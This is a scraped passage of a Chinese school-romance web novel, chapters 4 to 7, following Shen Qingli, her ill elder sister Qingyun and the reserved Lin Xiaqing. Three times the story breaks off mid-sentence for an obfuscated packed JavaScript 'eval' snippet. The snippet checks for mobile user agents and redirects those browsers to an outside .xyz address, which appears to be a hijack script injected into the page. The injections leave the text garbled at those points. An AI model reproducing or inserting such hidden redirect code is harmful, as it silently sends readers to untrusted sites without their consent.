闻言，他脸上毫无波澜，有些厌恶地躲开对方的动作，随后语气冷淡得像是一潭死水，他说：“不认识。” 4. 苦夏 第二天，外头下了大暴雨，所以沈青梨他们这一届的军训暂停，直接开始上课。 上午的最后一节是语文课，陈伟教完了课，用最后的几分钟处理其他的事情。 “这个是开学班级定制校服的尺码单子，从第一排开始，每个人写好传下去，班长盯一下，都填好了后把单子放到我的办公室里。” “好的陈老师。”洛伊秋坐在位置上，注意到陈伟向自己投来的目光，马上答着。 尺码单子传到沈青梨手上的时候刚好快下课了，她刚填好自己的衣服尺码，下课铃就响了起来。 “行了，都先去吃饭吧。”陈伟看着讲台下一听到下课听声就蠢蠢欲动的学生，贴心地没有拖堂。 话落，众人就结伴乱哄哄地起身离开班级。 “青梨，一起去吃饭吗？”洛伊秋转过身，笑吟吟地问她：“这是我朋友，她叫陈朝喜。你要是不介意的话，我们三个一起去食堂吧！” 听着她的话，沈青梨下意识地朝着她身旁的人看了一眼，是昨天调侃洛伊秋的那个女生。 陈朝喜像是也注意到了她的目光，被旁边的洛伊秋眼尖地用手肘轻轻捅了一下，很明显是之前就和她通过气了。 迎着身旁人期待的目光，她只好硬着头皮点头道：“嗯，一起吧。” 在这之前，陈朝喜和她几乎都没有说过一句话。 沈青梨尴尬地笑了笑，她也明显察觉到对方的不自在，虽然在心里很感谢两人来找自己，但她还是拒绝了：“不用了，你们先去吧，我今天……” 正愁找不到一个合适的理由，班级门口外却突然有人喊着她，打断了她的话：“阿梨！” 闻言，三人一齐探头看去，发现是沈青芸站在自己的班级门口。 午后的阳光落在她的身上，衬得她有些病态的脸上都多了几分红润，她手里拿着两瓶梨子汽水，冲她摆了摆，笑着叫她：“走吧，我们一起去食堂吃饭。” 周围流动的人群也因为沈青芸的出现纷纷停下脚步，他们目光朝着她望去，边走边议论着什么。 沈青梨下意识觉得不会是什么好听的话，顿时蹙起了眉头，她正要走到外面去，却听到身边的陈朝喜突然道：“你认识沈青芸啊？” “什么？”她问得突然，沈青梨愣了一下，才点点头道：“哦，她是我……姐姐。” 最后的那两个人她说出口都有些变扭，毕竟前十几年里，“姐姐”这个词，她好像从来没有和别人开口谈起过。 她和沈青芸分别在两地，生活中关于彼此的事情更是少之又少，所以很多人都自然而然地认为她们都是独生女。 站在边上的两人听到这个回答，都有些意外地看了彼此一眼。 谈话间，沈青芸大概是见她迟迟不出来，先一步挤过人群走了进来，她走进看见站在自己妹妹面前的有个女孩很眼熟，看她们刚才在说话，她冲她们礼貌地笑了笑道：“我是青梨的姐姐，我来找她去吃中午饭。” “哦，姐姐好，那既然这样，我们就不打扰啦。”洛伊秋很有眼力见地打了个招呼，随后就拉着陈朝喜先走了。 看着她们两离开的背影，沈青梨如释重负地松了一口气，转头对沈青芸道：“那我们走吧。” - 她们走在去食堂的路上，外头的雨刚好停了。 挤在一起去吃饭的人群里，一路上沈青梨总能察觉到很多朝着她们看过来的目光，也时不时有人路过她们的身边，和沈青芸打招呼。 她不习惯被太多人一齐注视着，整个人都变得有些局促起来，她下意识地看向旁边的沈青芸，却发现她好似一副早就习惯了的样子。 “怎么感觉大家好像都认识你？”她犹豫了会，还是说出了自己心底的疑问。 闻言，刚和路过的一个女生打完招呼的沈青芸转过头，她对上她疑惑的神色，笑着解释道：“因为我在这学校已经呆了一年了啊，所以认识的人会多一点，不过等你习惯了这里，也会认识很多朋友的。” 是吗？那样的事情应该也只限于像她这样讨喜的人吧。 她低下头没有回答沈青芸的话，只是在心里默默想着。 - 吃完饭后，她们慢悠悠地走在回教室的路上。 “来一中上学感觉怎么样？还习惯吗？”沈青芸见她一直不说话，开口关切道。 “还好，老师都挺好的。” “要是有不会的题目，你记得来问我，初中和高中的知识点不一样，慢慢来，要是有跟不上的也不要着急。” “嗯。” 随后，沈青芸又关心地问了她很多关于在学校的事情，包括交朋友和问有没有人欺负她之类的。 她不知道过去沈青梨在学校的情况，所以额外关心她的交友情况，生怕她融入不进去。 但对此，沈青梨很明显没有太多在意，反倒是沈青芸嘴边提到的学习进度，她的确有点着急。 苏市一中教的很多题目都和她从前在乡下读书的初中难度相差太大，她的班里很多同学都是在市里初中毕业的，一些基础题目他们听起课来看着很轻松，但她都没有办法很好地记住消化。 虽然早就预料到会有差距，但她还是有点着急。 当初爷爷奶奶就是为了她能更好地学习才让沈父沈母接自己回来的，她可不想在成绩上丢脸，更何况有这样一个优秀的姐姐在上头，她不想被比下去，至少要和沈青芸一样优秀才行。 - 想到这，她就想去图书馆找点阅读资料，巩固一下过去的知识。 于是她开口对沈青芸道：“对了，姐，放学后我想去图书馆一趟，你不用等我了。” “你要去图书馆啊，认识路吗？没事啊，我陪你一起去好了。” 闻言，沈青梨面露难色道：“妈……妈能同意吗？” 平日里她们爸妈就把沈青芸保护得和个眼珠子似的，要是跟着她晚回去，还不得担心死。 “没事，我等一下去保安亭打个电话和妈妈他们说一声。”说完，沈青芸看她还是有顾虑，继续道：“好啦就这么定了，这件事情你不用担心。” 听她都这样说了，沈青梨也只好点点头。 - 午休时间，她们各自回到班级，沈青芸被陈伟叫了过去，说是有事情要交代。 她也是才知道，原来自己的班主任，还是苏市一中的年级主任，管着学校的各种事情。 她坐回自己的座位上，想起刚才陈伟知道她们两是亲姐妹时露出的惊讶表情，抬头靠着班内的玻璃窗看了看自己的样子。 论长相，她其实和沈青芸并没有长得很像，沈青芸长得像她们的妈妈，五官很小巧，长相也偏柔，给人的第一印象就是个好相处好脾气的人。 而她的五官其实和会更像沈父一点，明艳但具有攻击性，不太好接近，这是很多人对她的第一印象。 这样看来，好像她们的确不像是一对姐妹。 正想着，面前突然递过来一瓶果汁，是沈青芸刚才给她的那个口味牌子。 她抬起头，发现是陈朝喜。 “？” 她突然的示好让她有些意外。 陈朝喜注意到她探究的目光，也变得有些扭捏。 她向她解释，刚才午间自己那副态度不是讨厌她，她只是不太会和不熟悉的人说话。 解释完，她又把话题扯到了沈青芸的身上，沈青梨听着她说的话，总觉得这才是她的真正目的。 她询问着她们之间的事情，从她的口中，沈青梨知道了原来她会认识自己的姐姐，是因为沈青芸之前帮过她的忙。 从她的话里，她也才知道，原来沈青芸在这个学校那么出名。 原来她是高二部常年的年级第一，成绩稳定地没有掉下去过，不仅如此，她还是大家私底下公认的漂亮女生，出了名的好人缘，很多人都默认她是苏市一中的校花。 听到这，她想起刚才在走廊的那些悄悄议论的声音，突然就觉得合理了。 漂亮优秀的人总是容易成为人群中的焦点，在学校这样的一个地方也不例外。 但慢慢地，她会发现原来自己身边的这一个个都是苏市一中的出名人物。 大家各有自己的特长和出色的家世，被人仰慕艳羡的背后也传着多少真真假假的八卦新闻。 而似乎只有她，从未真正融入这座学校，也没有交到沈青芸嘴边的多少朋友，大家对她的印象也只是漂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16171381|180687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亮但不爱说话的同学，她更像是游离在所有人青春之外的角色。 苏市一中那些珍贵美好的记忆好像也都与她无关，她甚至觉得多年后如果有人要她回顾青春，她能回答的只有两个字：枯燥。 沈青梨从来没有想过，林夏清会是那个变数。 - 放学后，沈青芸收拾东西的速度很快，拿起书包就来到了沈青梨班级的门口。 同样和她站在门口的还有一个瘦瘦高高的男生。 沈青梨背着书包出来的时候，就看见沈青芸在和那个男生说着话。 这不是昨天送洛伊秋过来的那个男生吗？她看了对方一眼，走到了沈青芸的身边。 “阿梨，你收拾好了啊。”她看见沈青梨笑了笑，转过身和那个男生介绍道：“逸霄，这是我妹妹，沈青梨。” “哦，你好，之前常听青芸提起过你，我叫赵逸霄，是你姐姐的同班同学。”那个叫赵逸霄的男生转过身，礼貌地冲她点头笑了笑，自我介绍着自己。 “哦，你好。”她点点头，也礼貌地回了个笑。 对方很有分寸，见她们还有事，就也没有多说什么。 沈青芸和他说了一声，就喊着她走了，她们朝着走廊前面走着，他还是仍站在班级门口，直到拐角口，沈青梨余光不经意地朝后瞥了一眼，看见洛伊秋走到了赵逸霄的面前，他习惯性地接过对方手上的东西，随后两人凑近说着什么。 …… 一路相对无言，沈青芸像是也有什么心事般话少了很多。 她把沈青梨送到图书馆门口，告诉她自己就坐在门口的位置上等她。 “你不一起进去吗？”她问着。 闻言，沈青芸摇摇头，催促道：“我没什么想要找的书，你快去吧。” 沈青梨点点头，落下一句自己很快就会出来后，径直走进了馆内。 这年的苏市经济还很落后，偏僻的小镇里更是只有一家像样的图书馆，现在是放学时间，室内待满了人。 因为沈青芸在外等自己，所以她并不打算在这里待太长的时间，幸好来之前她就问过了洛伊秋，所以照着书架上贴的分类，很容易就能找到自己需要的东西。 顺着书架一层层找过去，她走到一个偏僻的角落口，面前书架的背后，突然有人不小心被绊了一下，重重地撞在了面前的书架上。 木质书架摇晃着发出难听的吱呀声，放在最上面的书因为碰撞而稀稀拉拉地冲着沈青梨的方向掉下来。 她听到身边一阵惊呼，还没来得及有其他的动作，就被人迅速地拽住了手腕拉到了一边，她一下子和那人挨得极近，让沈青梨闻到了那股熟悉的果香味。 书本纷纷砸落在她的脚边，巨大的声音引起周围不少人的注意，管理员也忙不迭地跑过来向她道歉，“不好意思不好意思，怎么样，人没事吧？” “不要紧。”看着面前满脸愧意的女生，她惊魂未定地摇了摇头。 随着她的声音，原先覆在她手腕上的手立即拿开。 沈青梨注意到他的动作，回过头刚要道谢，却在看清楚人后直直地愣住。 林夏清站在她的身边，他不动声色地和她拉开了一点距离。 难怪刚才觉得他身上的味道很熟悉，原来是他，她在心里想着，嘴上开口：“刚才，谢谢你。” “没事，以后小心点。”话落，他单手拿着手里的书，抬起步子就要离开。 看他要走，沈青梨踌躇着想要上前拦住他，可是她明显注意到刚才他对自己拉开距离的动作，最终还是没有动作。 想到这，她低下头盯着自己的手腕，周围一片嘈杂，她抿了抿唇，盯着林夏清离开的背影，心底的情绪五味杂陈。 又是背影，从在苏市一中遇见开始，他就总是给她留下一个决绝的背影，让人不知道该说些什么、做些什么。 - 林夏清走到最前面和管理员登记自己要借的书。 离开前，管理员看着他胳膊上的红色划痕，好心地递了一张纸提醒他：“同学，你的手臂上好像在流血。” 听到这话，林夏清下意识地把自己手上的手藏在身后，接过书和书上的纸巾，道了一声谢后匆匆离开了。 5. 苦夏 从图书馆出来的时候，已经是晚上六点多了。 沈青梨带着自己找的书跟着沈青芸一起回家，一路上，她心事重重，沈青芸注意到她的情绪低落，开口关切道：“怎么了？在图书馆里发生了什么吗？怎么看你一出来就闷闷不乐的。” “没有。”她边走边摇摇头，轻声道：“只是遇到了一个……朋友。” “朋友？是同班的同学吗？还是之前学校认识的？” “都不是……”她一一否认，语气却越变越弱：“也许，也算不上是朋友。” “什么？”沈青芸没听清她后边的话，转头问着她，只是见她不讲话，更加疑惑着：“遇到朋友不应该开心吗？你们打招呼了吗？” 没有。 什么都没有。 她在心里咂舌，不想再回答这个问题，所以只是随便地点点头，跳过了这个话题。 “不过……我刚才好像还看到了我们隔壁班的同学。” “林夏清吗？” 沈青梨正愁怎么说才能顺理成章又不显得刻意地提及他，却没想到沈青芸直接提到了这人的名字。 “嗯，对。姐你也认识他？”她有些诧异，但也顺着话继续说着。 “嗯，不算认识，但听我一个……朋友提到过，我朋友家里和他家有点渊源。” “渊源？”听到这个词，沈青梨皱了皱眉，露出不明白的表情。 沈青芸看着她点点头，解释道：“林夏清家里和我朋友家里好像是世交，不过他们那种家庭内部的事情好像很复杂，我也不清楚啦。” “哦，是这样……” 他们那种家庭……是哪种家庭呢？她在心里默默想着。 听出她声音里的失落，沈青芸停住脚步，用着有些调笑的语气问道：“不过你怎么对他那么好奇啊？” “啊……，没，没有啊……我就随便问问。”沈青梨没料到她会问自己这个，顿时整个人都有些不自然，讲话都磕磕巴巴的。 但好在沈青芸只是随口一提，没有真要寻根问底的意思，见她反应那么大，她玩笑道：“哦，是这样啊，刚才我还以为你嘴边说的那个朋友就是林夏清呢。” “……怎么可能啊。” - 次日清晨，沈青梨被热醒，看了一眼床头的闹钟仓促起床，她迅速洗漱完快步走出卧室，看见沈青芸的房间还暗着，她一怔，开口喊了屋内的人几声，但都没有动静。 平日里沈青芸都起得比她早，意识到不太对劲，她连忙走进去打开灯，看见躺在床上的她闭着眼难受地蜷缩起身体，头上正冒着密密麻麻的汗，脸色苍白得吓人。 沈青梨被她的这副样子吓到了，她赶紧跑到沈青芸的身边，大声地喊着她的名字：“姐！你醒醒！沈青芸！！！” 可无论怎么叫唤都没有反应，她急得不知所措，伸手敷上沈青芸的额头，才发现她的温度烫得吓人。 见怎么喊她都没有用，她顾不上马上要迟到了的上学，慌不择路地跑到楼下用客厅的电话打给了已经出去上班的沈父。 “喂！爸爸，姐姐在家发烧了，她烧得很厉害，现在喊她都没有反应。” 听到她电话里焦急的声音，沈父也急得马上请假，和一起在上班的沈母火急火燎地赶回家。 夫妻两匆忙地冲上沈青芸的房间，看见脸色那么难看的大女儿瞬间也慌了神。 “爸爸妈……”沈青梨听到动静，她放下手里浸湿水的毛巾，转头喊着他们。 沈夫此时却顾不上她，他冲到床前一把抱起沈青芸，喊着沈母：“带上点东西，我们去医院。” “好！”沈母连连点头，她急得眼睛发红，情急之下她推开还站在边上的沈青梨，语气急着：“我要给你姐姐拿衣服，你不要挡在这里碍事！” “……” 被吼得突然，从在这里住下到现在她从来没有看见沈母发那么大的火，所以她一时都呆滞住了，没准备地被推到一边，胳膊不慎撞上旁边的柜子，她低头吃痛地发出声音。 沈母却完全没注意到她的不对劲，还在边找东西嘴上边怪着她：“你姐姐这几年一直都好好的，从来没有这样过，你们昨天晚回来到底去干嘛了？是不是你带你姐姐去做了什么？” “我没有……”她没想到会被自己的妈妈这样误解，下意识想要开口解释，却发现沈母压根没有听自己话的意思。 她的嘴边还在继续碎碎叨叨着抱怨：“我当时就说不要把你接过来，你爷爷还说你能照顾点小芸，你能照顾什么？过来就给我们家里添乱了……” “……”耳边的埋怨还在继续，一字一句都扎进她的心里，沈青梨只觉得自己现在浑身都疼得厉害，可她分不清是自己的胳膊还是其他的地方，她不知所措地用手紧紧捂住自己被撞得发麻的胳膊，抬头便看见沈母走开的背影。 她努力眨了眨眼睛，死死咬住了嘴唇，在心里不停地告诉自己现在不是她犯矫情的时候，沈青芸的事情才重要。 可是也许真的是胳膊上传来的疼痛太明显，她眼眶还是很不争气地一酸。 但眼下不是难过的时候，桌上的闹钟预警着她马上要迟到的现实。 她用没受伤的手胡乱摸了一把脸，忍着痛拿起自己卧室的书包就朝外跑。 - 但就算跑得再快，她还是没能在规定时间到学校。 等她气喘吁吁地跑到校门口时，听到最后一声上课铃的尾声也已经结束了，她绝望地叹了口气，自认倒霉地被拦在门口。 今天还要更加倒霉一点，因为查学生迟到的是她班主任陈伟。 陈伟显然也看到了她，沈青梨很快注意到他向自己投来无奈的目光，有些羞愧地低下了头。 头顶的太阳落在她的头顶，她感觉自己脸上火辣辣的，周围没有一个人，只有她站在这，早上起来因为对沈青芸生病的担忧、被无缘无故地责备、胳膊上的痛和此刻的迟到，所有情绪都混在一起，让她感到更加地无地自容。 陈伟走到她的面前，叹了口气刚要开口说些什么，突然远处传来一阵脚步声。 下一秒，一个瘦高的身影站在了她的面前，对方身高比她高不少，他的影子投在她的身上，替她挡住了面前的阳光。 沈青梨还没来得及偏过头看是谁，就听到一道清冷的声音：“老师，我迟到了。” 随后便是面前的陈伟无语的声音：“林夏清你……” 听到这个名字的她猛地转过头，发现林夏清正站在自己的旁边，他依旧冷着一张脸，但此刻乖乖低头挨着训，这场面莫名看着有点滑稽。 她在心里这样想着，但刚才不安的心因为林夏清的到来稍微好了一些，至少此时此刻有人陪着她一起站在这里“犯错”。 虽然这种心理不太好，但她突然就觉得自己不算是“孤立无援”一个人了。 林夏清的到来让陈伟的大半火力都集中在了他的身上，只是陈伟还没骂几句，他们的身后就又传来一阵嘈杂的声音。 当时沈青梨悄悄回头就看到洛伊秋手里拿着一个热腾腾的煎饼果子，赵逸霄着急地拽着她朝前走，催促着她。 两人拉拉扯扯地走到校门口，洛伊秋看见站在门口的陈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16171382|180687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伟，终于把手里的煎饼果子收了起来。 眼下的场景不需要人说也能看出来，他们四个迟到了。 陈伟本来看见林夏清和沈青梨迟到就够生气的了，没想到眼前就冒出两个，更要命的是这四个迟到的人里有两个是他带的班级的学生。 陈伟简直是觉得自己两眼一黑，他生气地让这四个人站在校门口罚站，并罚他们四个去扫操场空地一周。 一听到这个惩罚，洛伊秋没忍住地“啊”了一声。 “怎么？还不愿意啊？”陈伟听到她的声音，猛地回头瞪着他们，恨铁不成钢地走到他们身边道：“你啊洛伊秋，还有你，林夏清！你们两个分别作为1班、2班的班长，不以身作则，还公然开学第三天就迟到是吧？你们想干嘛啊？要造反吗！” “陈老师我们不是……”赵逸霄用胳膊肘碰了碰洛伊秋，让她别再说话免得惹得陈伟更生气。 听到他的声音，陈伟马上扭转话头：“赵逸霄，我没说你是吧？你一个高二的，在一中都待了一年多了，不给你学弟学妹们做点好榜样，也跟着一起迟到！” 赵逸霄：“……”好了这下他也不得不闭嘴了。 陈伟一个个指着他们嘴上教训着，像是越说越生气，轮到沈青梨的时候，她死死低着头一点声音都不敢发出来。 “还有你啊沈青梨，你……” “陈老师我们知道错了，等会我们就去操场打扫。” 陈伟的话还没说完，林夏清就先他一步开口道着歉，想象中劈头盖脸的话也没落下，沈青梨惊讶地瞥了他一眼，对方像是也注意到她向自己投来的目光，马上偏过头去。 见林夏清都这么说了，洛伊秋也连忙跟着一起附和：“对啊陈老师，我们真的知道错了，以后绝对不会再犯了！” “对！”赵逸霄也道。 沈青梨看他们都说了话，自己也跟着一起点点头。 陈伟看他们也算是认错态度良好，最终也没再说什么。 四人乖乖站在保安室外面罚站，头顶的太阳，阳光太刺眼，让他们都睁不开眼。 沈青梨的两边分别站着林夏清和洛伊秋，陈伟抓完迟到的学生就要去上早自习，没办法时刻盯着他们，洛伊秋趁着陈伟去班级，用手戳了戳她，挤眉弄眼地对她使脸色。 沈青梨没明白她要干嘛，然后就看见对方稍微朝着后面站了点，躲在她身后掏出自己的煎饼果子又吃了起来。 沈青梨：“？” 她看着这一幕只觉得大受震撼，毕竟在这之前，她一直觉得洛伊秋是那种特听老师话的乖乖好学生。 相比之下赵逸霄的反应就平淡多了，像是注意到她一言难尽的表情，他轻笑了声道：“以后习惯就好了，她在初中就这个样子。” 听着他亲昵的口吻，沈青梨怔愣了会，随后也不由得笑了一下。 等着洛伊秋吃完手里的东西，她才终于站回原位和她悄悄闲聊。 “青梨你吃过他们家煎饼果子吗？就在和岸小区门口那家，超级好吃！我从小买到大。” “没有，我家不住那边。”她如实回答，但也忍不住好奇：“不过你们真是因为这个早饭才迟到的啊？” “对啊，那大娘耳背，收摊了，追了她一条街才吃上呢。” 听她追上人家煎饼摊而洋洋得意的语气，沈青梨不禁笑了笑，方才迟到的窘迫感才稍微冲淡了点。 林夏清却始终站在他们的旁边没有讲话，像是一切都与他无关一般。 只是他的目光似有似无地落在了沈青梨的脸上，看她笑着，才悠悠移开了目光。 6. 苦夏 下课铃声打响，他们暂时解放，各自回了教室，约好大课间的时候一起去操场打扫。 等到大课间做完了早操，他们四个和各自回班级的人流逆行着，拿着手里的扫把簸箕朝着操场走去。 一路上有不少人都认识洛伊秋和赵逸霄，见他们这副狼狈样，都毫不客气地发出仰天大笑。 挤在人群里，前面的两人时不时和路过的朋友说笑，显得跟在后面的两人沉默得很“怪异”。 他们两被挤在熙熙攘攘的人群中，旁边有个同学不小心绊了一跤，不慎撞了林夏清一下，将不知是谁有意还是刻意拉开的距离迅速拉近，一瞬间，两人被迫靠近在一起，沈青梨别过头甚至能清楚地看见对方浓密的睫毛。 突然的接触让两人一时都僵住，林夏清拿着手里的工具皱了一下眉，旁边的那个男生冲他不好意思地道着歉，他此刻却无暇顾及。 他低下头看向站在自己身边的女生，他们挨得有些过分亲密，彼此间的距离实在是太近了。沈青梨在这时也恰好抬起头，他们在吵闹喧嚣中望向彼此。 一时间，周围吵闹的拥挤声好像都被阻断，他们两人明显都愣了一下，看着彼此眼睛里自己的倒影，只意外对视了一秒就匆匆移开目光。 沈青梨倏地低下头，她手指捏紧手里的工具，耳根处悄悄红了一片，直直蔓延到她的脖颈处。 林夏清则是尴尬地拉开彼此间的距离，清了清嗓子解释道：“咳，刚才……有人撞了我一下，不好意思，我不是故意的。” 他磕磕绊绊地解释着，语气都比往日里温柔了许多。 “哦……没关系的。”她抿了抿唇，佯装无事发生着摇了摇头。 “那……我们赶紧走吧，这里人多，你小心着点手上的东西，别碰到人了。” “好。” 听到她的回答，他用余光瞥了她一眼，见她是真的没有介意，才迈着步子继续朝前走，不动声色地松了一口气。 - 等到了操场，场内已经没什么人了。 他们分配了一下各自要负责的区域，很快就打扫起来。 忙了一会，外头的温度开始变热，洛伊秋难受地眯起眼睛，喊着其他几个人过来休息一会。 休息的时候，沈青梨坐在她的旁边，她刚想和她说会话，却不经意地瞥见了她手臂上红了一大片，她立刻惊呼出声：“青梨你的胳膊这里怎么了？” 听到她的声音，旁边的两个男生也一齐朝着沈青梨望去。 注意到他们的目光，她有些不自在地用手遮住了自己的伤口，含糊道：“没事……就是今天早上我不小心嗑了一下，不要紧的。” “天啊都成这样了还不要紧啊，你疼不疼啊？” 洛伊秋紧张的语气让她心头一暖，于是她冲着她笑了一下，让她放心道：“我没事，你别担心了。” “真的吗……”看着她胳膊上的伤口，洛伊秋显然有点不相信。 “嗯，没事，我刚才不还和你们一起打扫呢，已经不疼了。” 听到她的话，坐在最边上盯着她的林夏清低垂下眼，他没有告诉其他人，刚才沈青梨在拿扫帚打扫的时候，其实一直都紧皱着眉头。 洛伊秋听她都这样说了，也不好再多说什么，只是接下来的打扫上，他们三个默契地把最简单最轻松的活交给了沈青梨。 注意到他们的照顾，她也没有说破，只是心里很感激。 - 等打扫的差不多后，他们四个人坐在操场的观众台上休息避着太阳，头顶的阳光太毒辣，让他们每个人额头都冒了一层汗。 洛伊秋主动站起来请缨道要帮他们去小卖部买饮料喝。 沈青梨原本想跟着一起，但洛伊秋说这些扫帚簸箕不能没有人看着，免得被人拿走，于是她和赵逸霄就被留了下来。 看着她和林夏清的背影渐渐走远，沈青梨才收回目光注意到身边人的脸色也有点差。 “学长……你没事吧？”她被赵逸霄的样子吓了一跳，连忙关心道。 被询问的人倒像是一副习惯了的模样，他摇摇头，声音轻柔着说：“没事，就是被热的，不用担心，吓到你了吧。” 听他这样说，沈青梨也摇摇头，她没说赵逸霄现在的样子，和之前沈青芸在太阳下站久了的样子特别像。 “对了，青芸今天没来上学，你姐姐她是不是出什么事了？”正当她想着，赵逸霄却突然问及沈青芸。 听到关于沈青芸的事情，她脑海里又回想起今早的事情，脸色顿时变差起来。 她蜷结着手指，勉强地点头回道：“是，我姐她发烧了，现在应该在医院。” “怪不得……你早上迟到也是因为这个吧。” “是。”她低低地应了一声，原本还担心他继续追问，因为她实在是不想谈及早上的事情。 但赵逸霄却没有继续追问，于是沈青梨不仅有些讶然道：“你好像一点都不意外我姐生病的事情。” “嗯？”闻言，赵逸霄转过头，冲她笑了一下问：“怎么突然这么说？” “因为一般人听到应该都会问一句没事吧，或者是怎么发烧了之类的，但是你没有问。” 看着赵逸霄的态度，她隐约觉得眼前的人好像知道着些什么。 听着她的话，他却莫名低头轻笑了一声，“你还真不愧是青芸的妹妹啊，很聪明。” “不过青芸的病……哦不，准确来说应该是我们的病就是这样的，很容易有各种并发症，在其他人身上的小病小闹，在我们身上可能就面临着病情复发，或者是其他更不好的事情。” “你们的病……？” 听他用着最平常的语气解释着，沈青梨的眉头蹙得更紧了。 “哦，青芸没和你说过啊，我和你姐姐是在医院同一个病房里认识的。” “什么？我没听她说过……我只知道你们是朋友，也是同班同学。”她不知道沈青芸和赵逸霄之间还有这一层渊源，语气诧异着。 同时，她的心里闪过一个不确切的念头，等待着被证实。 “不过青芸她这几年身体好多了，这次发烧应该只是个意外的，你不用太担心。” 从刚才说起这件事情开始，赵逸霄的脸色都很平静，他好像只是在说着和自己无关的事情一样，甚至最后还很温柔地出声安慰着她。 “不过你要是实在担心的话，可以放学了去医院看看她，叔叔阿姨应该只会带她去最近的第一人民医院。”像是察觉到她还因为其他的事情在别扭，虽然他不知道原因，但是作为自己朋友的妹妹，他还是多了句嘴：“青芸要是看到你去看她，说不定能好得更快一点。” 有一个熟悉沈青芸的人告诉她这些事情，的确能让沈青梨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16171383|180687||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安心不少，她也从对方的口中第一次真正得知了关于沈青芸病情的事情。 这是她姐姐第一次在自己面前生病，所以从早上到现在，她一直都在很不安地担心着，只是她没料到赵逸霄能那么细心，察觉出了她的不安。 想到这，她不由得感叹赵逸霄真是一个很细心的人。 于是她点点头冲他笑了下轻声道谢。 - 那时她以为赵逸霄是因为遇到过太多这样的事情了，所以已经能够冷静对待，但后来她才发现，其实他和沈青芸一样，只是在能够安然度过的时间里好好地生活着。 他们并不知道死亡是否会在哪一天突然降临，但作为被病痛折磨了许多年的他们，已经对死亡失去了恐惧性，也早早失去了与命运对抗的能力。 - 他们谈话间，买好东西的洛伊秋和林夏清已经朝着他们这边走来。 见前面的两人有说有笑着，洛伊秋的脸色一僵，随即又立刻恢复如常，她又注意到旁边的林夏清，小心地睨了他一眼，生怕他发现什么，但是她却发现此刻站在自己身边的他，也和她直直地望着同一个方向。 沈青梨最先注意到面前走来的两人，她急忙站起来想帮他们拿饮料，怀里却突然被塞了一瓶冰水，触碰到她的皮肤，冰得她一激灵。 沈青梨抬起头，发现林夏清正站在自己的面前，他直勾勾地盯着自己，有些奇怪。 但她还没来得及开口问他为什么看着自己，洛伊秋却率先开口：“青梨，你胳膊那里不是撞肿了吗，特地给你买了个冰水，你冰敷试试，说不定能好一点。” “哦好，谢谢啊。”她点点头，明白了她的用意，看着洛伊秋感谢着。 话落，她看向林夏清，嘴边刚要继续开口问什么，那人却自顾自地走到边上去收拾打扫的东西了。 见状，另外三人也放下手里的水，跟着一起收拾。 把打扫的工具收拾好各自带回教室，沈青梨和洛伊秋回到班级，她坐在自己的位子上，困难地动了动受伤的胳膊，轻轻地把冰水瓶摁在了自己红肿的伤口上。 一阵酸痛从手臂上传来，她轻轻皱了一下眉头。 班级门口流动的人群里违和地站着一个人影，他站在高一（2）班的窗户外停留了一会，直到上课预备铃打响，在沈青梨抬起头的那一刻，那个影子迈起步子已经离开。 冰敷一会后，她胳膊上的红肿好像是消下去了一点，见此，她在心里更加感谢洛伊秋，觉得她的确是一个很细心的朋友。 于是中午的时候，她买了洛伊秋平常最爱吃的雪糕作为了谢礼。 洛伊秋听她说着谢谢自己，一时都没反应过来，拆开雪糕后，她像是才想起什么，看了沈青梨一眼。 - 就在几个小时前的小卖部里，被洛伊秋喊走的林夏清站在小卖部门口，从冰柜里拿了一瓶冰水出来。 看见他动作的洛伊秋喊住他：“别拿冰的了吧，刚那么累又出了汗，马上喝冰的对身体不好。”但很快，她看着面前的冰柜又像是想起来什么，继续道：“不过冰块可以消肿，青梨手臂不是肿了吗？那还是拿一瓶吧，说不定能敷着消消肿。” 她说完，才发现在自己话都没说完前，林夏清已经把那瓶冰水拿了出来，见她愣住的表情，他冲她“嗯”了一声，随即把那瓶付完钱的冰水塞给了她。 7. 苦夏 放学后，因为放心不下沈青芸，沈青梨还是按照赵逸霄说的坐公交车来到了苏市第一人民医院。 她在护士台问着沈青芸住的病房，一间间病房循着找过去，终于在一间病房的墙上看见了沈青芸的名字。 病房没有关上，她敲了敲门走进去，发现沈青芸已经醒了，她躺在病床上，沈母沈父正陪着她，病床边正放着热腾腾的一碗粥。 见到她沈父有些意外，沈母则是不敢看她，躲避着沈青梨的眼睛。 只有沈青芸看见她，惊喜地喊着她：“阿梨！你怎么过来了？” “我来看看你怎么样，你还好吗？”她走到沈青芸的病床边，轻声地问着。 “没事你放心吧，我就是昨天晚上睡觉的时候着凉了，所以才会发烧。”她苍白着脸冲沈青梨笑了笑，叫她放宽心。 